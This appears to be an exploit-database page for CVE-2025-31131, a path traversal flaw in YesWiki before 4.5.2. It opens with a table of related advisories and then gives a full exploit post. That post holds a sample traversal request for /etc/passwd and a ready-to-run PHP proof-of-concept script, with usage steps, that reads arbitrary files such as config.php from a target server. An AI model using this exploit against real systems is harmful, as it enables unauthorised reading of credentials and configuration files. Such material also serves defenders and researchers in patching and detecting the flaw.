| Reporter | Title | Published | Views | Family All 20 |
|---|---|---|---|---|
| Exploit for Path Traversal in Yeswiki | 4 Apr 202515:31 | โ | githubexploit | |
| Exploit for Path Traversal in Yeswiki | 7 Jun 202509:18 | โ | githubexploit | |
| CVE-2025-31131 | 1 Apr 202516:32 | โ | circl | |
| YesWiki ่ทฏๅพ้ๅๆผๆด | 1 Apr 202500:00 | โ | cnnvd | |
| CVE-2025-31131 | 1 Apr 202514:56 | โ | cve | |
| CVE-2025-31131 Path Traversal allowing arbitrary read of files in Yeswiki | 1 Apr 202514:56 | โ | cvelist | |
| YesWiki 4.5.1 - Unauthenticated Path Traversal | 7 Apr 202500:00 | โ | exploitdb | |
| EUVD-2025-9333 | 3 Oct 202520:07 | โ | euvd | |
| Yeswiki Path Traversal vulnerability allows arbitrary read of files | 1 Apr 202518:31 | โ | github | |
| Yeswiki < 4.5.2 - Unauthenticated Path Traversal | 8 Jun 202604:09 | โ | nuclei |
=============================================================================================================================================
| # Title : YesWiki 4.5.2 Directory Traversal |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://github.com/YesWiki/yeswiki |
=============================================================================================================================================
[+] Summary :
YesWiki versions prior to **4.5.2** are vulnerable to an **unauthenticated path traversal** vulnerability through the `squelette` parameter.
A remote attacker can leverage this flaw to read arbitrary files on the target system,
including sensitive files such as:
/etc/passwd
/var/www/html/config.php
This issue can be exploited without authentication.
-------------------------------------------------------------------------------
## 2. Technical Details
The vulnerable parameter is: squelette=
By supplying traversal sequences (`../`) combined with encoded filenames,
an attacker can escape the intended directory and access system files.
Example malicious request pattern: /?UrkCEO/edit&theme=margot&squelette=../../../../../../etc/passwd&style=margot.css
The application does not validate or sanitize the `squelette` parameter,
resulting in Local File Inclusion (LFI).
[+] References : ( CVE-2025-31131 )
1. Save the file as: poc.php
2. Edit the target:
```php
$target = "http://TARGET";
3.Execute: php poc.php http://127.0.0.1 /var/www/html/config.php
[+] POC
<?php
/*
* YesWiki < 4.5.2 - Unauthenticated Path Traversal (CVE-2025-31131)
* by: Indoushka
*/
function banner() {
echo str_repeat("=", 80) . PHP_EOL;
echo " YesWiki < 4.5.2 - Unauthenticated Path Traversal (CVE-2025-31131)" . PHP_EOL;
echo " Exploit Author: Al Baradi Joy" . PHP_EOL;
echo " PHP Version by: Indoushka" . PHP_EOL;
echo str_repeat("=", 80) . PHP_EOL;
}
function exploit($target, $filename = "/etc/passwd") {
if (!preg_match('/^http/', $target)) {
$target = "http://" . $target;
}
$traversal = str_repeat("../", 8);
$encoded = str_replace("/", "%2f", $filename);
$payload = "/?UrkCEO/edit&theme=margot&squelette={$traversal}{$encoded}&style=margot.css";
$url = rtrim($target, "/") . $payload;
echo "[+] Target: $target\n";
echo "[+] Trying to read: $filename\n";
$response = @file_get_contents($url);
if ($response !== false) {
if (strpos($response, "root:") !== false || strlen($response) > 50) {
echo "[+] Exploit successful! File contents:\n\n";
echo $response;
} else {
echo "[!] Exploit failed. Response too small or file unreadable.\n";
echo $response . "\n";
}
} else {
echo "[!] Request failed. Target unreachable.\n";
}
}
banner();
if ($argc < 2) {
echo "Usage: php " . $argv[0] . " <target_url> [file_to_read]\n";
echo "Example: php " . $argv[0] . " http://victim.com /etc/passwd\n";
exit;
}
$target = $argv[1];
$file = $argv[2] ?? "/etc/passwd";
exploit($target, $file);
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================Data
Build on a solid foundation withย Vulners data
Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data
Api
Power your application withย Vulners API
The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access
App
Assess and manage vulnerabilities withย Vulnersย tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation